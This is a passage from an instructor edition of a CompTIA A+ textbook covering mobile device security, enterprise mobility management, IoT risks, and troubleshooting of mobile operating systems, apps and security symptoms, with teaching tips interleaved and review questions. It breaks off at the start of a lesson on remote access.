This could be configured to escalate—so the first incorrect attempt locks the device
for 30 seconds, while the third locks it for 10 minutes, for instance. This deters
attempts to guess the passcode or use a spoofed biometric.

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Mobile Security Software

Show Mobile devices can use the same classes of security software as PCs and laptops to
Slide(s) protect against malware, phishing, and software exploits.
Mobile Security
Software Patching/OS Updates
Teaching Keeping a mobile OS and its apps up to date with patches/OS updates (and ideally
Tip new OS versions) is as critical as it is for a desktop computer. The install base of
iOS is generally better at applying updates because of the consistent hardware and
Emphasize that
keeping a mobile software platform. Updates for iOS are delivered via Settings > General > Software
device up to date with Update. App updates are indicated via notifications on the app icon and delivered
security patches is just via the Updates page in the app store.
as important as on
a computer. Discuss Android patches are more reliant on the device vendor as they must develop the
why patches might not patch for their own "flavor" of Android. Support for new OS versions can also be
be available due to mixed. Android uses the notification bar to deliver updates. You can also go to
lack of vendor support Settings > System > Advanced > System updates.
for older models.
Discuss the pros Antivirus/Anti-malware Apps
and cons of running
security software, Modern smartphones are vulnerable to software exploits and being targets of
including the malware and viruses, especially if an untrusted app source has been configured.
difficulties and risks of However, the emerging nature of mobile OS threats and vulnerabilities makes it
enabling a third-party
process to perform
difficult to create pattern databases of known threats or to use heuristics to identify
root-level monitoring. malicious app behaviors.
Antivirus/anti-malware apps designed for mobile devices tend to work more like
content filters to block access to known phishing sites and block adware/spyware
activity by apps. Most security scanner apps will also detect configuration errors and
monitor the permissions allocated to apps and how they are using (or abusing) them.
These apps usually also offer a third-party data backup and device location service.

The Google Play store has a Play Protect feature that is enabled by default. This provides
built-in malware scanning and threat detection. (Screenshot courtesy of Google Play Store,
a trademark of Google LLC.)

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Firewall Apps
There are also firewall apps for mobile devices. These can be used to monitor app
activity and prevent connections to ports or IP addresses. One issue for firewalls is
that they must be able to control other apps and therefore logically work at a higher
permission level (root). Installing an app with root access is challenging, however.
"No-root" firewalls work by creating a virtual private network (VPN) and then
controlling app access to the VPN.

Enterprise Mobility Management

Mobile devices have replaced computers for many email and daily management Show
tasks and are integral to accessing many other business processes and cloud-based Slide(s)
applications. A mobile device deployment model describes the way employees are Enterprise Mobility
provided with mobile devices and applications. Management
• Bring your own device (BYOD)—The mobile device is owned by the employee.
Teaching
The mobile will have to meet whatever profile is required by the company (in
Tip
terms of OS version and functionality), and the employee will have to agree on
Discuss some of
the installation of corporate apps and to some level of oversight and auditing.
the complexities of
This model is usually the most popular with employees but poses the most supporting BYOD, and
difficulties for security and network managers. make sure students
are aware of the
• Corporate owned, business only (COBO)—The device is the property of the general capabilities of
company and may only be used for company business. MDM suites.

• Corporate owned, personally enabled (COPE)—The device is chosen and

supplied by the company and remains its property. The employee may use it to
access personal email and social media accounts and for personal web browsing
(subject to whatever acceptable use policies are in force).

• Choose your own device (CYOD)—Similar to COPE but the employee is given a
choice of device from a list.

Mobile Device Management (MDM) is a class of enterprise software designed to

apply security policies to the use of smartphones and tablets in business networks.
This software can be used to manage corporate-owned devices as well as BYOD.

Endpoint management software such as Microsoft Intune can be used to approve or prohibit apps.
(Screenshot courtesy of Microsoft.)

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When the device is enrolled with the management software, it can be configured
with policies to allow or restrict use of apps, corporate data, and built-in functions
such as a video camera or microphone. Policies can also be set to ensure the device
patch status is up to date, that antivirus software is present and updated, and that a
device firewall has been applied and configured correctly.
A company needs to create a profile of security requirements and policies to
apply for different employees and different sites or areas within a site. For example,
it might be more secure to disable the camera function of any smartphone while
on site, but users might complain that they cannot use their phones for video calls.
A sophisticated security system might be able to apply a more selective policy and
disable the camera only when the device is within an area deemed high risk from
a data confidentiality point-of-view. Some policies can be implemented with a
technical solution; others require "soft" measures, such as training and disciplinary
action.

Mobile Data Security

Show If a mobile device is lost or stolen, there are mechanisms to recover it and to
Slide(s) prevent any misuse or loss of data stored on the device.
Mobile Data
Security Device Encryption
All but the earliest versions of mobile device operating systems for smartphones
and tablets provide some type of default encryption. In iOS, there are various levels
of encryption.
• All user data on the device is always encrypted, but the key is stored on the
device. This is primarily used as a means of wiping the device. The OS just needs
to delete the key to make the data inaccessible rather than wiping each storage
location.

• Email data and any apps using the "Data Protection" option are subject to a
second round of encryption using a key derived from and protected by the user's
credential. This provides security for data if the device is stolen. Not all user data
is encrypted using the "Data Protection" option; contacts, SMS messages, and
pictures are not, for example.

In iOS, Data Protection encryption is enabled automatically when you configure a

passcode lock on the device.
In Android, there are substantial differences to encryption options between
versions (source.android.com/security/encryption). As of Android 10, there is no
full disk encryption as it is considered too detrimental to performance. User data is
encrypted at file-level by default when a secure screen lock is configured.

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In iOS, the data protection encryption option is enabled when a passcode is configured (left, at
bottom). Android uses file encryption for user data and settings when a lock is configured (right).
(Screenshots reprinted with permission from Apple Inc. and Android platform, a trademark of
Google LLC.)

Remote Backup Applications

Most mobile OS devices are configured with a user account linked to the vendor's
cloud services (iCloud for iOS, Google Sync for stock Android, and OneDrive for
Microsoft). The user can then choose to automatically perform remote backup of
data, apps, and settings to the cloud. A user may choose to use a different backup
provider (OneDrive on an Android phone, for instance) or a third-party provider,
such as Dropbox.

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Using Google’s default remote backup service. Note that SMS and call history data are not
included. (Screenshot courtesy of Google One™ subscription service, a trademark of Google LLC.)

As well as cloud services, a device can be backed up to a PC. For example, iOS
supports making backups to macOS or to Windows via the iTunes program. A
third option is for MDM software to be configured to back up user devices or the
container workspace automatically.

Locator Apps and Remote Wipe

Show Most smartphones and many tablets are fitted with Global Positioning System
Slide(s) (GPS) receivers. GPS is a means of determining a receiver's position on Earth based
Locator Apps and on information received from satellites. As GPS requires line-of-sight, it does not
Remote Wipe work indoors. An Indoor Positioning System (IPS) works out a device's location by
triangulating its proximity to other radio sources, such as Wi-Fi access points or
Bluetooth beacons.
The Location Service uses GPS and/or IPS to calculate a device's position on a map.
The Location Service can be used with a locator application to find the device if it
is lost or stolen. Both Android and iOS have built-in find-my-phone features. Third-
party antivirus and MDM software is also likely to support this type of functionality.
Once set up, the location of the phone can be tracked from any web browser when
it is powered on.

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You can use the Google’s Find Device app to locate an Android device and remotely lock or wipe it
(or send the current holder a polite message to please return it ASAP). (Screenshot courtesy of
Google, a trademark of Google LLC.)

Other functions of a locator app are to remotely lock the device, display a “Please
return” message on the screen, call the device regularly at full volume, disable
features such as the wallet, prevent changes to the passcode, and prevent
location/network services from being disabled.
If a device is lost with no chance of recovery, it may be necessary to perform
some level of remote wipe to protect data and account credentials. A device wipe
performs a factory default reset and clears all data, apps, and settings.
When a wipe is being performed due to risks to corporate data, a device wipe might
not be appropriate. If the device is enrolled with MDM, an enterprise wipe can
be performed against the corporate container only. This removes any corporate Show
accounts and files but leaves personal apps, accounts, settings, and files untouched. Slide(s)
Internet of Things
Internet of Things Security Security

The term Internet of Things (IoT) is used to describe the global network of Teaching
personal devices, home appliances, home control systems, vehicles, and other Tip
items that have been equipped with sensors, software, and network connectivity. Explain that IoT
These features allow these types of objects to communicate and pass data among devices have very
themselves and other traditional systems such as computer servers. similar security
concerns to
workstation/mobile:
monitor security
vulnerabilities and
apply patches,
install to a hardened
configuration, and
only deploy on
enterprise networks
with authorization.

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Home Automation Systems

Smart devices are used to implement home automation systems. An IoT smart
device network will generally use the following types of components:
• Hub/control system—IoT devices usually require a communications hub to
facilitate wireless networking. There must also be a control system, as most IoT
devices are headless, meaning they have no user control interface. A headless
hub could be implemented as a smart speaker operated by voice control or use
smartphone/PC app for configuration.

• Smart device types—IoT endpoints implement the function, (for example, a

smart lightbulb, refrigerator, thermostat/heating control, or doorbell/video entry
phone) that you can operate remotely. These devices are capable of compute,
storage, and network functions that are all potentially vulnerable to exploits.
Most smart devices use a Linux or Android kernel. Because they're effectively
running mini-computers, smart devices are vulnerable to some of the standard
attacks associated with web applications and network functions. Integrated
peripherals such as cameras or microphones could be compromised to facilitate
surveillance.

• Wireless mesh networking—While the hub might be connected to the Wi-Fi

network, communications between devices are likely to use some type of mesh
networking, such as Z-Wave or Zigbee. These wireless standards use less power
and make it easier for smart devices to forward data between nodes.

Philips Hue smart lighting management app. The management app connects to the hub (a Hue
Bridge) via Wi-Fi. The hub communicates with each light device using the Zigbee wireless mesh
networking protocol. Note that features such as out-of-home control or integration with other
control systems could widen the potential attack surface if this type of device is deployed in an
office. (Screenshot used with permission from Koninklijke Philips N.V.)

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Security Concerns
Consumer-grade smart devices and home automation products can be poorly
documented, and patch management/security response processes of vendors
can be inadequate. When they are designed for residential use, IoT devices can
suffer from weak defaults. They may be configured to "work" with a minimum of
configuration effort. There may be recommended steps to secure the device and
procedures to apply security patches that the customer never takes. For example,
devices may be left configured with the default administrator password.
In a corporate workspace, the main risk from smart device placement is that of
shadow IT, where employees deploy a network-enabled device without going
through a change and configuration management process. A vulnerability in the
device would put it at risk of being exploited as an access point to the network.
These devices also pose a risk for remote working, where the employee joins the
corporate VPN using a home wireless network that is likely to contain numerous
undocumented vulnerabilities and configuration weaknesses.
These risks can be mitigated by regular audits and through employee security
awareness training.

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Review Activity:
Mobile OS Security
3

Show Answer the following questions:

Slide(s)
Review

Teaching 1. What two types of biometric authentication mechanism are supported

Tip on smartphones?
Take some time at
the end of each topic Fingerprint recognition and facial recognition.
to answer questions.
You can use the 2. True or false? Updates are not necessary for iOS devices because the OS
review questions is closed source.
for discussion in
class or set them for False. Closed source just means that the vendor controls development of the OS.
students to complete It is still subject to updates to fix problems and introduce new features.
individually during or
after class. 3. A company wants to minimize the number of devices and mobile OS
versions that it must support but allow use of a device by employees for
personal email and social networking. What mobile deployment model is
the best fit for these requirements?

Corporate owned, personally enabled (COPE) will allow standardization to a single

device and OS. As the requirement does not specify a single device and OS, choose
your own device (CYOD) would also fit.

4. The marketing department has refitted a kitchen area and provisioned

several smart appliances for employee use. Should the IT department
have been consulted first?

Yes. Uncontrolled deployment of network-enabled devices is referred as shadow

IT. The devices could increase the network attack surface and expose it to
vulnerabilities. The devices must be deployed in a secure configuration and
monitored for security advisories and updates.

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Topic 18B
Troubleshoot Mobile OS and Show
Slide(s)

App Software Troubleshoot Mobile

OS and App Software
5

Teaching
CORE 2 EXAM OBJECTIVES COVERED Tip
3.4 Given a scenario, troubleshoot common mobile OS and application issues. Many mobile issues
are solved by stock
reboot/reinstall/reset
approaches, but help
The troubleshooting techniques you use for PCs and laptops are similar to the ones students to match the
needed for resolving issues on mobile-device operating systems and applications. symptoms listed as
One difference is that apps, operating system, and hardware are tightly integrated content examples to
likely causes.
in mobile devices. You may need to troubleshoot all three components to
determine which one is causing the issue.

Mobile Device Troubleshooting Tools

When troubleshooting a mobile device, you will commonly use the Settings app. The Show
layout of this app is different for iOS and Android and can vary between versions. Slide(s)
In Android, you will often need to use the notification bar (swipe down from the top Mobile Device
of the screen) and list of all apps (swipe up from the bottom). In iOS, the Control Troubleshooting
Center can be accessed by swiping from the top-right corner (newer models) or Tools
bottom of the screen.
Interaction
Opportunity
Ideally, make a selection
of iOS and Android
devices available
(mix old/new models
and OS versions) so
that students can
familiarize themselves
with differences in
hardware button
placement and
Settings menu
changes.

Access the iOS Control Center (left) by swiping from the top-right and Android notification
drawer by swiping from the top. These contain shortcuts for enabling or disabling radios
and other features. (Screenshots reprinted with permission from Apple Inc., and Android platform,
a trademark of Google LLC.)

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Reboot
Just as turning it off and on again is the tried and trusted method of "fixing" a
computer, a reboot can often resolve a transitory performance or stability issue
on a mobile device. Users generally leave their mobile devices in a sleep state.
Powering the device off closes all applications and clears any data from RAM. Data
and settings stored in the device are not affected. This kind of soft reset is usually
effective in restoring unresponsive or frozen systems and is one of the first things
to try when faced with a malfunctioning app or slow performance:
• On iOS, hold the Side/Top button for a few seconds to bring up the Power
Off option. When you are troubleshooting, leave the device powered off for a
minute, and then restart by holding the Side/Top button again. You can perform
a forced restart by: 1. pressing Volume Up, 2. pressing Volume Down, and 3.
holding the Side/Top button. The screen will go black, and then the device will
restart.

• On Android, hold the physical Power button for a few seconds to bring up the
Power Off prompt. If the touchscreen is unresponsive, a forced restart can
often be performed by holding the Power button for 10 seconds, though some
Android devices use a different button combination for this. You can also boot
an Android device to Safe Mode by tap-and-holding the Power Off message.
Safe Mode disables third-party apps but leaves core services running.

Factory Reset
A factory reset removes all user data, apps, and settings. The device will either
have to be manually reconfigured with a new user account and reloaded apps or
restored from a backup configuration. When you are performing a factory reset,
ensure that the device has a full battery charge or is connected to an external
power source.
• To factory reset an iOS device, use the option on the General page in Settings.

• For Android, you should check for specific instructions for each particular device.
On stock Android, you can initiate a reset from the System > Advanced section
of Settings.

You might be required to sign in immediately after performing a factory restore to

protect against theft of the device or your account information. Make sure you have the
account credentials available, and do not attempt a factory reset within 72 hours of
changing your account password.

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Troubleshoot Device and OS Issues

If rebooting the device does not fix an issue, use the following steps to troubleshoot Show
specific problems. If these do not work, try a factory reset. Slide(s)
Troubleshoot Device
OS Fails to Update and OS Issues

An OS update failure is a serious issue as it could leave the device exposed to

unpatched vulnerabilities.
1. Use the vendor site to verify that the update is compatible with the device
model.

2. Connect the device to building power and Wi-Fi. An update may be blocked
when there is insufficient battery charge or when the device is connected to a
metered network.

3. Restart the device and then try the update again.

4. Check that there is sufficient free space on the device. In iOS, use Settings >
General > Storage and on Android use Settings > Storage.

Device Randomly Reboots

A device that randomly reboots might be overheating, have a low battery charge,
or have a faulty battery or other hardware. You can use the Settings menu to check
battery health, and there are third-party diagnostic apps that can report hardware
faults. If a hardware issue can be discounted, verify that the device has sufficient
storage available and check for OS and/or app updates. Otherwise, try to isolate the
issue to a single faulty app and uninstall it.

Device Is Slow to Respond

If you can rule out hardware causes such as throttling due to high temperature
or low battery charge, a device that is slow to respond can be an indication of
resources being inadequate (too many open apps) or badly written apps that
overutilize memory or other resources. A reboot will usually fix the problem in the
short term. If the problem is persistent, either try to identify whether the problem is
linked to running a particular app or try freeing space by removing data or apps.
You should also consider any recently installed apps. Having many apps that run
some sort of monitoring or connectivity check in the background or apps that
display real-time content in a home screen widget will impact performance. You
can use Battery settings to investigate which apps are consuming most resources.
Alternatively, a third-party system monitor app could be installed to report
utilization information.

Vendors try to support device models for as long as possible, but it is frequently the
case that major (or sometimes minor) version updates can quite severely impact
performance when applied to older devices. Unfortunately, vendors tend not to provide
a rollback option for version updates. You can only report the issue and hope the
vendor supplies a fix.

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Screen Does Not Autorotate

When the screen does not autorotate, there could be a hardware fault. To rule
out simple causes, complete the following checks:
1. Use the notification drawer or Control Center to check that rotation lock is not
enabled.

In iOS (left), enabling the rotation lock from Control Center prevents the device from autorotating.
The screenshot shows that the lock is currently unhighlighted (off). In Android (right), enabling
the autorotate button allows the screen to reorient automatically, while disabling it locks the
orientation. The screenshot shows a device with autorotate highlighted (enabled). (Screenshots
reprinted with permission from Apple Inc., and Android platform, a trademark of Google LLC.)

2. Check that the user is not touching any part of the screen as this will prevent
rotation.

3. Consider that some apps can only be used in a single orientation. These might
also interfere with other apps, so try closing apps via the task list. To show the
task list:

• On iOS, either double-tap the physical Home button or swipe up from the
bottom to the middle of the screen.

• On Android, select the square button from the navigation bar at the bottom
of the screen.

In Android, when autorotate is disabled, an icon is added to the navigation bar allowing
the user to change the orientation manually. In iOS, a manual control can be added via
the AssistiveTouch option, which is enabled via Accessibility settings.

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Troubleshoot App Issues

A mobile OS performs sophisticated memory management to be able to run Show
multiple applications while allowing each app to have sufficient resources and Slide(s)
preventing an app from consuming excessive amounts of power and draining the Troubleshoot App
battery. The memory management routines shift apps between foreground (in Issues
active use), background (potentially accessing the network and other resources),
and suspended (not using any resources).
If an app fails to launch, fails to close, or crashes, first use force stop to quit it
and try launching again:
• In Android, open Settings > Apps. Tap an app, then select the Force Stop option
to close it or the Disable option to make it unavailable.

• In iOS, clearing an app from the multitasking list also force stops it. Either swipe
up or double tap the physical Home button, then swipe the app up off the
screen.

In Android, tap the square multitasking button (bottom-right) to view open apps, then swipe up to
remove them. Tap the app icon and select App info to use the Force Stop option or clear the app
cache. (Screenshot courtesy of Android platform, a trademark of Google LLC.)

If this doesn’t work, you can try clearing the app cache either from within the app or
(in Android) using the Clear Cache option under App info.
If the app is still unresponsive, reboot the device. If the problem persists, use
the store to check whether an update is pending and install it if so. You can use
the app’s page to check whether there are any reported issues. If an app fails to
update, check that it is compatible with the current OS version. Also verify that
there is sufficient storage space and that there is an Internet connection.

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Another stock response to an app issue is to uninstall and then reinstall it.
• To uninstall an iOS app, tap-and-hold it until it wiggles, then press the X icon and
confirm by pressing Delete. To return the screen to normal, press the Home
button. Note that you cannot uninstall default apps.

• In Android, use Settings > Apps to uninstall (completely remove) or disable

(prevent from running) apps. You can also long-press an icon on the home
screen, then drag it to the Uninstall icon (dragging it to Remove just hides the
app icon).

The user's account lists previously used and purchased apps, even when they are
removed from a device. Reinstall the app via the store.

Also consider that mobile device management (MDM) software might prevent an app
or function from running in a certain context. Security policies might prevent use of the
camera within the corporate office, for instance, and any app that requires the camera
might then fail to start.

If an iPhone or iPad does not update over wireless, you can try attaching it to a macOS
device or Windows PC using a Lightning or Lightning-to-USB cable. In macOS Catalina or
later, iOS devices can be managed via Finder. In earlier versions and in Windows, they
are managed via the iTunes application.

Troubleshoot Connectivity Issues

Show Networking is another area where problems occur frequently. On a mobile
Slide(s) device, that means troubleshooting connectivity issues with Wi-Fi and Bluetooth.
Troubleshoot To approach these problems, try to establish whether there is some sort of
Connectivity Issues hardware/interference problem or a configuration error.

Signal Strength and Interference Issues

Radio signals can be affected by the distance between the broadcast and reception
antennas and by interference from other devices or by barriers such as thick walls
or metal. On a mobile, be aware that the radio is less powerful than the one on a
computer and that a low battery charge will weaken the signal strength. Try moving
the device closer to the access point or paired Bluetooth device. Try removing a
device case or changing the way it is held, as these things can sometimes interfere
with the antenna.

Remember that Bluetooth range is less than Wi-Fi (up to about 10 meters or 30 feet).

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Configuration Issues
Use the notification drawer or Control Center to check that the device is not in
airplane mode and that an individual radio function has not been disabled. Next,
use Settings to verify that the Wi-Fi network parameters or Bluetooth pairing
information is correct. Try removing/forgetting the network or Bluetooth pair and
reconnecting.
With Wi-Fi, verify that the access point supports the same 802.11 standard as the
device. For example, an access point configured to use 802.11ac only will not be
accessible to a smartphone with an 802.11n adapter. The access point must be put
into compatibility mode. Also remember that some mobile devices support 2.4 GHz
radios only and will not be able to connect to a network on the 5 GHz band.
If you can rule out any other configuration errors, consider obtaining an OS or
firmware update for the device or for the access point. Research any known issues
between the access point and the model of device.

Troubleshooting Near-field Communication

A near-field communication (NFC) issue typically manifests when trying to make
payments via a contactless card reader. The device must be unlocked to authorize
the payment and enable NFC. Verify that the NFC sensor is supported and enabled
for the wallet app and that airplane mode is not active. Try holding the device closer
to the reader and for longer.

Troubleshooting AirDrop Issues

AirDrop is an iOS feature that allows file transfer between iOS and macOS devices
over a Bluetooth connection. The sender must be listed in the recipient’s contacts
list, or AirDrop must be configured to receive files from everyone. Check that the
feature is enabled and correctly configured under Settings > General > AirDrop,
and ensure that the devices are within range for a Bluetooth link.

Android supports a similar feature referred to as Nearby Share (Settings > Google >
Devices > Nearby Share).

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Review Activity:
Mobile OS and App Software
6

Show Answer the following questions:

Slide(s)
Review

Teaching 1. True or false? A factory reset preserves the user's personal data.
Tip
Take some time at False. Restoring to factory settings means removing all user data and settings.
the end of each topic
to answer questions. 2. You are updating an internal support knowledge base with advice for
You can use the troubleshooting mobile devices. What is the first step to take if a user
review questions reports that an app will not start?
for discussion in
class or set them for Use force stop if available and/or reboot the device.
students to complete
individually during or 3. You are troubleshooting a user device that keeps powering off
after class. unexpectedly. You run hardware diagnostics and confirm there is
no component fault or overheating issue. What should your next
troubleshooting step be?

Check that the device has sufficient spare storage, and check for updates. If you
can’t identify a device-wide fault, test to see whether the issue is associated with
use of a single app.

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Topic 18C
Troubleshoot Mobile OS and
App Security
4

CORE 2 EXAM OBJECTIVES COVERED Show

3.5 Given a scenario, troubleshoot common mobile OS and application security issues. Slide(s)
Troubleshoot Mobile
OS and App Security

The close integration between device hardware, mobile OS, and vendor app stores Teaching
means that the security model for mobiles is more restrictive than for many Tip
desktop systems. However, threat actors can always find new ways to circumvent There’s a lot of overlap
security systems, and users might try to use devices in ways not sanctioned by the with troubleshooting
workstation security
IT department. Consequently, you should be able to identify symptoms of mobile
here, so you might be
OS and application security issues to mitigate risks from network intrusions and able to move quickly
data breaches. through this topic.

Root Access Security Concerns

In iOS and Android, the user account created during setup is able to install apps Show
and configure settings, but it is restricted from making any system-level changes. Slide(s)
Users who want to avoid the restrictions that some OS vendors, handset OEMs, and Root Access Security
telecom providers put on the devices must use some type of privilege escalation: Concerns
• Root access—This term is associated with Android devices. Some vendors
provide authorized mechanisms for users to access the root account on their
device. For some devices it is necessary to exploit a vulnerability or use custom
firmware. Custom firmware is essentially a new Android OS image applied to
the device. This can also be referred to as a custom ROM, after the term for the
read-only memory chips that used to hold firmware.

• Jailbreak—iOS is more restrictive than Android, so the term "jailbreaking"

became popular for exploits that enabled the user to obtain root privileges,
sideload apps, change or add carriers, and customize the interface. iOS
jailbreaking is accomplished by booting the device with a patched kernel. For
most exploits, this can only be done when the device is attached to a computer
while it boots (tethered jailbreak).

Rooting or jailbreaking mobile devices involves subverting the security controls

built into the OS to gain unrestricted system-level access. This also has the side
effect of leaving many security measures permanently disabled. If the user has
root permissions, then essentially any management agent software running on the
device is compromised. If the user has applied a custom firmware image, they could
have removed the protections that enforce segmentation of corporate workspaces.
The device can no longer be assumed to run a trusted OS.

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Mobile-device management (MDM) suites have routines to detect a rooted or

jailbroken device or custom firmware with no valid developer code signature and
prevent access to an enterprise app, network, or workspace. Containerization and
enterprise workspaces can use cryptography to protect the workspace in a way that
is much harder to compromise than a local agent, even from a rooted/jailbroken
device.
Additionally, it is possible to put a device into developer mode. This makes
advanced configuration settings and diagnostic/log data available. Developer mode
should not necessarily weaken the security configuration, but equally, it should
be used only for actual app development work and not enabled routinely. It can
purposefully be misused to install bootleg apps. MDM can typically be configured to
block devices that have developer mode enabled.

Mobile App Source Security Concerns

Show A trusted app source is one that is managed by a service provider. The service
Slide(s) provider authenticates and authorizes valid developers, issuing them with a
Mobile App Source
certificate to use to sign their apps and warrant them as trusted. It may also analyze
Security Concerns code submitted to ensure that it does not pose a security or privacy risk to its
customers (or remove apps that are discovered to pose such a risk). It may apply
other policies that developers must meet, such as not allowing apps with adult
content or apps that duplicate the function of core OS apps.

App Spoofing
While this type of walled garden app store model is generally robust, it is still a
target for rogue developers trying to publish malicious apps that will function
as spyware if installed. A malicious app will typically spoof a legitimate app by
using a very similar name and use fake reviews and automated downloads to
boost its apparent popularity. VPN, fake antivirus/ad blockers, and dating apps are
some of the most common targets for malicious developers. Even when using an
approved store, users should apply caution when selecting and installing a new app,
especially if the app requests permissions that are not related to its function.

Enterprise Apps and APK Sideloading

The mobile OS defaults to restricting app installations to the linked store (App Store
for iOS and Play for Android). Most consumers are happy with this model, but it
does not always work so well for enterprises. It might not be appropriate to deliver
a custom corporate app via a public store, where anyone could download it. Apple
operates enterprise developer and distribution programs to solve this problem,
allowing private app distribution via Apple Business Manager. Google's Play store
has a private channel option called Managed Google Play. Both these options allow
an MDM suite to push apps from the private channel to the device.
Unlike iOS, Android allows for selection of different stores and installation of
untrusted apps from any third party if this option is enabled by the user. With
unknown sources enabled, untrusted apps can be downloaded from a website
and installed using the .APK file format. This is referred to as sideloading. Enabling
this option obviously weakens the device’s security. It is imperative to use other
methods to ensure that only legitimate enterprise apps are sideloaded and that the
device be monitored closely to detect unauthorized apps.

Lesson 18: Supporting Mobile Software | Topic 18C

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In Android, each app has an Install unknown apps toggle. For example, enabling
the toggle shown here would allow the Firefox browser to download and install an app.
(Screenshot courtesy of Android platform, a trademark of Google LLC and Mozilla.)

Conversely, MDM might be used to prevent the use of third-party stores or

sideloading and block unapproved app sources.

Bootleg App Stores

A bootleg app is one that pirates or very closely mimics a legitimate app. Users
might be tempted to enable unknown sources and install apps by sideloading or
by accessing them from a bootleg store as a way of pirating popular apps without
paying for them. As well as infringing licensing and copyrights, this exposes the
device to risks from malware. Under iOS, using the developer tools can be a means
of installing apps from outside the App Store without having to jailbreak the device.

Mobile Security Symptoms

Antivirus software for mobile OSs is available but is not always that reliable. You Show
should be alert to general symptoms of malware. Many of these symptoms are like Slide(s)
those experienced on a PC OS: Mobile Security
• High number of ads—Free apps are all supported by advertising revenue, so a Symptoms
high level of ads is not necessarily a sign of an actively malicious app. However, if
ads are unexpected, display in the browser, open pop-ups that are hard to close,
or exhibit a high degree of personalization that the user has not authorized, this
might indicate some type of tracking or spyware activity.

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• Fake security warnings—These are used by scareware to persuade users to

install an app or give a Trojan app additional permissions.

• Sluggish response time—Malware is likely to try to collect data in the

background or perform processing such as cryptomining. Such apps might
cause excessive power drain and high resource utilization and cause other apps
to perform slowly.

• Limited/no Internet connectivity—Malware is likely to corrupt the DNS and/or

search provider to perform redirection attacks and force users to spoofed sites.
This might disrupt access to legitimate sites, generate certificate warnings, and
cause slow network performance.

Unexpected Application Behavior

A bootleg or spoofed app acts like a Trojan. While it might implement the game or
VPN functionality the user expects, in the background it will function as spyware to
harvest whatever it can from the device. This unexpected application behavior
might manifest as requests for permissions or as use of camera/microphone
devices. If the app is copying files from the device, this might manifest as high
network traffic. Excessive bandwidth utilization might also be a sign that the
device has been compromised with a bot and is being used for DDoS, mass mailing,
or cryptomining. The app might also attempt to use premium-rate call services.
Most devices have an option to monitor data usage and have limit triggers to notify
the user when the limit has been reached. This protects from large data bills but
should also prompt the user to check the amount of data used by each application
to monitor its legitimacy.

Leaked Personal Files/Data

If a device has been compromised, files or personal data might be sold and
eventually find their way to forums and file sharing sites. If any personal or
corporate data is leaked, each device that could have been a source for the files
must be quarantined and investigated as a possible source of the breach.
Users should also be alert to 2-step verification notifications that new devices
have attempted to access an account and/or unexpected password changes
have occurred. Various data breaches have provided hackers with mountains of
authentication credentials and personal information that could be used to access
email accounts. Once an email account is compromised, the hacker can typically
access any other online account that is not protected by secondary authentication
via a different email account or device.
Whenever a website or service suffers a data breach and leaks personal files/data, it
should notify users immediately. There are also various breach notification services
that can be used to alert misuse of email addresses and account details. Users need
to be alert to the possibility of the theft of their personal information and deploy
good security practices, such as not using the same password for two different
accounts.

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Unauthorized location tracking can give away too much sensitive information to
third parties. Many apps collect location data; not many explain clearly what they
do with it. Most app developers will just want information they can use for targeted
advertising, but a rogue app could use location data to facilitate other crimes, such
as domestic burglary.

Managing location services in iOS (left) and Android. (Screenshots reprinted with permission
from Apple Inc., and Android platform, a trademark of Google LLC.)

Criminals don't necessarily need to hack a device to get location information. If

someone posts pictures online, most will be tagged with location information. A criminal
can quite easily get information about where someone lives and then identify when
they are on vacation from social media. Users should be trained to strip geotagging
information (or all metadata) from images before posting them online.

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Review Activity:
Mobile OS and App Security
5

Show Answer the following questions:

Slide(s)
Review

Teaching 1. You are assisting with the configuration of MDM software. One concern
Tip is to deny access to devices that might be able to run apps that could be
Take some time at used to circumvent the access controls enforced by MDM. What types of
the end of each topic configurations are of concern?
to answer questions.
You can use the Devices that are jailbroken or rooted allow the owner account complete control.
review questions
for discussion in
Devices that allow installation of apps from untrusted sources, such as by
class or set them for sideloading APK packages or via developer mode, could also have weakened
students to complete permissions.
individually during or
after class. 2. A user reports that a new device is not sustaining a battery charge for
more than a couple of hours. What type of malware could this be a
symptom of?

This is most characteristic of cryptomining malware as that explicitly hijacks the

compute resources of a device to perform the intensive calculations required to
mint blockchain currency.

3. Advanced malware can operate covertly with no easily detectable

symptoms that can be obtained by scanning the device itself. What other
type of symptom could provide evidence of compromise in this scenario?

Leaked data files or personal information such as passwords.

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Lesson 18
Summary
4

You should be able to explain common methods for securing mobile and Show
embedded devices and troubleshoot common and security-related mobile Slide(s)
OS and app issues. Summary

Guidelines for Supporting Mobile Software Teaching

Tip
Follow these guidelines to support mobile OS and app software and security
Try to include some
settings:
time at the end
• Establish policies and procedures to support a BYOD or corporate-owned of each lesson to
provisioning model and profile security requirements, such as locator apps, check students'
understanding and
remote wipe, device encryption, remote backup, antivirus, and firewalls. answer questions.
• Configure a screen lock with an appropriate authenticated unlock method (PIN,
fingerprint, or facial recognition) and failed-attempts restrictions.

• Establish policies and procedures to support secure use of Internet of Things

(IoT) devices.

• Develop a knowledge base to document steps for resolving general mobile OS

and app issues (app fails to launch, app fails to close, app crashes, app fails
to update, slow to respond, OS fails to update, battery-life issues, randomly
reboots, connectivity issues with Bluetooth/Wi-Fi/NFC/AirDrop, and screen does
not autorotate).

• Develop a knowledge base to document security concerns (APK, developer

mode, root access/jailbreak, and bootleg/malicious application spoofing) and
steps for resolving mobile-security issues (high network traffic, sluggish response
time, data-usage limit notification, limited/no Internet connectivity, high number
of ads, fake security warnings, unexpected application behavior, and leaked
personal files/data).

Additional practice questions for the topics covered in this lesson are available on the
CompTIA Learning Center.

Lesson 18: Supporting Mobile Software

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 Lesson 19
Using Support and Scripting Tools
1

LESSON INTRODUCTION
As a CompTIA A+ technician, you will usually perform support tasks within the Show
context of a company’s operational procedures. These procedures include ways of Slide(s)
using remote access to handle problems more efficiently, coping with disasters so Objectives
that data loss and system downtime is minimized, identifying regulated data and
content, planning for security incident response, and potentially using scripting to Teaching
ensure standardized configuration changes. Tip
This lesson will help you to identify the technologies and best practices that The last part of
the Core 2 course
underpin these important procedures. principally covers
domain 4 (operational
Lesson Objectives procedures). This
lesson concentrates
on support tasks
In this lesson, you will:
and tools such as
• Use remote access technologies. remote access, data
security/backup, data
• Implement backup and recovery. privacy, and the use of
scripting.
• Explain data handling best practices.

• Identify basics of scripting.

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Topic 19A
Use Remote Access Technologies
2

Show CORE 2 EXAM OBJECTIVES COVERED

Slide(s) 4.9 Given a scenario, use remote access technologies.
Use Remote Access
Technologies

Teaching A remote access utility allows you to establish a session on another computer on
Tip a local network or over the Internet. There are command-line and desktop remote
access tools. These are very useful for technical support and troubleshooting. The
We’ve already
mentioned the fact that remote access is so useful shows how important it is that such tools be
